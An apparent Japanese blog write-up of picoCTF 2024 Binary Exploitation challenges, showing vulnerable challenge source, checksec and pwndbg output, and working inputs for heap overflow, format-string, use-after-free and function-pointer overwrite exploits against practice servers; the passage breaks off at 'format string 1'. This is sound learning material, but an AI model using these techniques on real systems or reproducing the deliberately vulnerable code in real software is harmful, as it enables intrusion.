以下の内容はhttps://daisuke20240310.hatenablog.com/entry/picoctf2024beより取得しました。


picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)

前回 は、picoCTF に登録して、picoGymの「Beginner picoMini 2022」の全13問をやってみました。

今回は、引き続き、picoCTF の picoCTF 2024 のうち、Binary Exploitation というカテゴリの全10問をやっていきたいと思います。Easy が 2問、Medium が 6問、Hard が 2問です。

それでは、やっていきます。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります) ← 今回

picoCTF の公式サイトは以下です。英語のサイトですが、シンプルで分かりやすいので困らずに進めることができます。

picoctf.com

それでは、やっていきます。

picoCTF 2024:Binary Exploitation

問題のタイトルに番号が付いてる問題については、番号の若い順にやっていきます。

heap 0(50ポイント)

Easy の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できるみたいです。

heap 0問題
heap 0問題

インスタンスを起動すると、$ nc tethys.picoctf.net 54945 と表示されます。接続すると、ローカルのバイナリファイルと同じ動作をするようです。ローカルでいろいろ試して、準備が出来たら、サーバでフラグを取りに行くという形式のようです。

$ nc tethys.picoctf.net 54945

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x583e983c32b0  ->   pico
+-------------+----------------+
[*]   0x583e983c32d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4
Looks like everything is still secure!

No flage for you :(

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 5

まずは、簡単に表層解析を行います。メモリの実行が禁止されていることと、プログラム、スタック、ヒープ、共有ライブラリの全てがアドレスがランダム化されていることが分かりました。

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2015ade3c2b89f5069cb8c54dd750d1b9849062d, for GNU/Linux 3.2.0, with debug_info, not stripped

$ checksec --file=chall
RELRO          STACK CANARY     NX          PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  53 Symbols  No       0          2            chall

続いて、静的解析として、ソースコードを眺めてみます。

最初に、ヒープが 2個確保されて、それぞれ、"pico" と "bico" という文字列で初期化されて、"bico" の方のヒープを "bico" 以外の値に出来るとフラグが獲得できるようです。

メニューの 2. Write to buffer を選択すると、"pico" で初期化された方のヒープに書き込みが行えるようです。書き込みサイズは任意だと思うので、ヒープバッファオーバーフローを起こすことが出来そうです。

2つのヒープ領域のアドレスを見ると、"pico" の方が小さいアドレスになっていて、"bico" との差は(今回は)32byte なので、適当に大きなサイズを書き込めば、"bico" の方まで書きつぶせそうです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
    int rval = scanf("%d", &choice);
    if (rval == EOF){
        exit(0);
    }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
        exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

では、実際にやってみます。"YOU WIN" と出ているので、これでフラグが取れそうです。

$ ./chall

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5599e5bec6b0  ->   pico
+-------------+----------------+
[*]   0x5599e5bec6d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5599e5bec6b0  ->   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*]   0x5599e5bec6d0  ->   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
Segmentation fault

次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。

format string 0(50ポイント)

Easy の問題です。バイナリファイル(format-string-0)が 1つと、ソースファイル(format-string-0.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できるみたいです。

format string 0問題
format string 0問題

インスタンスを起動すると、$ nc mimas.picoctf.net 64090 と表示されます。接続すると、ローカルのバイナリファイルと同じ動作をするようです。ローカルでいろいろ試して、準備が出来たら、サーバでフラグを取りに行くという形式のようです。

ローカルで動作させる場合は、デバッグ用に「flag.txt」というファイルを自分で用意する必要があるようです。ファイルの中身は、例えば、「picoCTF{FLAGFLAGFLAG}」などとして、同じディレクトリに置くと実行できました。

$ nc mimas.picoctf.net 64090
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: ^C

まずは、簡単に表層解析を行います。メモリの実行が禁止されていることと、スタック、ヒープ、共有ライブラリの全てがアドレスがランダム化されていて、プログラムは固定のアドレスに配置されることが分かりました。

$ file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped

$ checksec --file=format-string-0
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  50 Symbols  No       0          2            format-string-0

続いて、静的解析として、ソースコードを眺めてみます。

グローバル変数として、フラグの領域が 64byte 確保されています。2つの異なる 3択の質問が出題されます。入力する文字列は、3択の選択肢と strcmp で比較されています。

普通にやると、フラグは表示できませんが、セグメンテーションフォールトを発生させることが出来るとフラグが表示されそうです。strcmp は脆弱性のある関数なので、大きな文字列を与えれば、フラグを表示できそうです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

では、実際にやってみます。自分で用意したフラグが表示されているので、これで良さそうです。

$ ./format-string-0
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!

picoCTF{FLAGFLAGFLAG}

次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。

heap 1(100ポイント)

Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。上の「heap 0」と同じファイル名です。別のファイル名にしてほしかったです(笑)。あと、インスタンス(サーバ)を起動できるみたいです。

heap 1問題
heap 1問題

フォルダで分けたので、ついでに、ソース差分を見ます。めちゃくちゃ似てて、違いは、ほとんど一か所だけです。

「heap 0」では、safe_var という 5byte の配列が、"bico" という文字列で初期化されていて、それを破壊して、"bico" ではない文字列にすればフラグが取れました。今回の「heap 1」では、save_var を "bico" から "pico" に変更すればフラグが取れるようです。

$ diff heap0/chall.c heap1/chall.c
--- heap0/chall.c       2024-10-03 22:08:46.030311000 +0900
+++ heap1/chall.c       2024-10-04 21:45:05.145239500 +0900
@@ -13,7 +13,7 @@
 char *input_data;

 void check_win() {
-    if (strcmp(safe_var, "bico") != 0) {
+    if (!strcmp(safe_var, "pico")) {
         printf("\nYOU WIN\n");

         // Print flag

入力できるのは、"pico" で初期化された input_data という 5byte の配列なので、ヒープバッファオーバーフローで、32byte 後方にある safe_var を書き換えればいいわけです。単純に、32byteの任意の文字列 + "pico" でいい気がします。やってみます。

フラグが表示されました。本来は、input_data と safe_var のアドレスを取得して、その差分を求めておいて、任意の文字列の数を調整した方がいいかもしれませんが、malloc関数は常に同じ動きをするはずなので、これで大丈夫だと思います。

$ heap1/chall

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x556e79fc46b0  ->   pico
+-------------+----------------+
[*]   0x556e79fc46d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{FLAGFLAGFLAG}

次は、インスタンスを起動して、同じようにやってみると、フラグが取れました。

heap 2(200ポイント)

このまま heap の問題をやっていきます。

Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。同じファイル名です。インスタンス(サーバ)も起動できます。

heap 2問題
heap 2問題

ソースを見ると、似てますが、結構差分があります。変数名が safe_var から x に変わっています。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
    if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

気になるところは、フラグを表示する win関数がどこからも呼ばれていないことと、check_win関数が、以下のようになっているところです。

これは、関数ポインタのキャスト((void (*)()))が入った形で、x に、win関数のアドレスが入るようにしてあげると、フラグが表示されそうです。

void check_win() { ((void (*)())*(int*)x)(); }

一度実行してみます。

ヒープ領域のアドレスの差は、前回と同じく、32byteです。

$ heap2/chall

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value
+-------------+-----------+
[*]   0x11b86b0  ->   pico
+-------------+-----------+
[*]   0x11b86d0  ->   bico

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 4
Segmentation fault

表層解析もやっておきます。No PIE(プログラム自身のアドレスのランダム化が無効)に変わっています。これで、win関数は常に同じアドレスということになります。

$ file heap2/chall
heap2/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped

$ checksec --file=heap2/chall
RELRO          STACK CANARY     NX         PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled No PIE  No RPATH  No RUNPATH  51 Symbols  No       0          2            heap2/chall

win関数のアドレスを取得します。

$ nm heap2/chall | grep win
00000000004011f0 T check_win
00000000004011a0 T win

32byteの任意の文字列の後に、このアドレスを入れてあげればいいはずです。

普通にやると、バイナリの入力が出来ないので、echo を使って入力します。番号の入力も必要なので、番号と改行を組み合わせます。無事、フラグが表示されました。

$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | heap2/chall

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: picoCTF{FLAGFLAGFLAG}

インスタンスを起動して、同じようにすればフラグが表示されましたが、実行方法だけ書いておきます。

$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | nc mimas.picoctf.net 50227

heap 3(200ポイント)

最後の heap問題です。

Medium の問題です。バイナリファイル(chall)が 1つと、ソースファイル(chall.c)が 1つダウンロードできます。同じファイル名です。インスタンス(サーバ)も起動できます。

heap 3問題
heap 3問題

ソースは大きく変わっていたので、普通にやっていきます。

表層解析です。heap 2 と同じですね、メモリ実行禁止、プログラム自身のアドレスはランダム化されないです。

$ file heap3/chall
heap3/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fa64145c4efbd5a267e0525f58e294fba23ad2f, for GNU/Linux 3.2.0, with debug_info, not stripped

$ checksec --file=heap3/chall
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  52 Symbols  No       0          2            heap3/chall

ソースコードを確認します。

最初に、object構造体の領域が確保され、flagメンバ変数が "bico" で初期化されています。flagメンバ変数を "pico" に変更できるとフラグが表示されそうです。

今回は、まず、入力した値のサイズで malloc関数で領域を確保し、さらに値が書き込めるようです。あと、メモリを解放する機能もあります。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

void print_menu() {
    printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

// Create a struct
void init() {

    printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
    fflush(stdout);

    x = malloc(sizeof(object));
    strncpy(x->flag, "bico", 5);
}

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_memory() {
    free(x);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x->flag, x->flag);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
    if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            alloc_object();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x->flag);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            free_memory();
            break;
        case 6:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

何となく、やり方が分かった気がします。Use After Free という手法です。malloc関数で確保した領域を解放した後も参照してしまう(object構造体の flag を参照してしまう)ことを利用して、解放した領域を確保して別の値に書き換える手法です。

object構造体の領域を解放した後、同じヒープ領域を確保する必要があります。そのためには、malloc関数の仕組みを知る必要があります。malloc関数は、いろんなリストで領域を管理していますが、最初に使われる tcache bins を知っておけば、今回の問題は解けそうです。

malloc関数の基本的な仕組みとして、ヒープ領域はチャンクというブロックで管理されていて、最小のチャンクが 0x20(32byte)、0x10(16byte)単位になっています。tcache bins は、解放されたチャンクのサイズの種類として、0x20 から 0x410(1040byte)まで、0x10 刻みで 64種類あり、それぞれのサイズごとに 7個まで保持できるようになっているそうです。

今回の場合、object構造体の領域を解放したので、tcache bins にその領域が登録されているはずです。次に malloc関数で同じサイズを要求すると、解放された領域が再利用されるはずです。

まず、object構造体のサイズを正確に知るために、GDB で確認します。今回から、gdb-peda から GDB拡張の pwndbg に変更しています。

object構造体の x をダンプしてみると、30byte のオフセットで、"bico" が格納されていました。つまり、隙間なく構造体のメンバは確保されていることになります。また、x を解放したあと、pwndbg の heapコマンドで見ると、tcache bins のサイズ 0x30(48byte)に登録されていることが確認できました。16byte単位で、object構造体のサイズは 35byte なので、順当と言えます。

pwndbg> p x
$1 = (object *) 0x4056b0

pwndbg> x/40xb 0x4056b0
0x4056b0:   0x05    0x04    0x00    0x00    0x00    0x00    0x00    0x00
0x4056b8:   0x0c    0xff    0xb5    0x9a    0xa4    0xa4    0xbe    0x90
0x4056c0:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x4056c8:   0x00    0x00    0x00    0x00    0x00    0x00    0x62    0x69
0x4056d0:   0x63    0x6f    0x00    0x00    0x00    0x00    0x00    0x00

pwndbg> heap -v
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x4056a0
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x405
bk: 0x90bea4a49ab5ff0c
fd_nextsize: 0x00
bk_nextsize: 0x6962000000000000

次に、35byte のメモリ領域を確保します。その確保した領域の先頭アドレスが、x と同じ 0x4056b0 になっていることを期待しています。

では、実際に malloc関数実行後でブレークして、確認してみました。見にくいかもしれませんが、malloc関数の戻り値の RAX が 0x4056b0 になっていることが確認できました。

malloc関数実行後
malloc関数実行後

この後、30文字の "A" と "pico" を入力することにより、フラグを表示できました。

では、サーバに対してやってみます。

$ nc tethys.picoctf.net 54843

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 5

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 4
YOU WIN!!11!!
picoCTF{xxx}

これでヒープシリーズは完了です。

format string 1(100ポイント)

次は、format string シリーズです。こちらも全4問あって、これが2問目です。

Medium の問題です。バイナリファイル(format-string-1)が 1つと、ソースファイル(format-string-1.c)が 1つダウンロードできます。また、インスタンス(サーバ)を起動できます。

format string 1問題
format string 1問題

ソースコードを「format string 0」と比較しましたが、だいぶ違うので、普通にやっていきます。

表層解析です。メモリ実行禁止、プログラムのアドレスランダム化は無効です。

$ file format-string-1
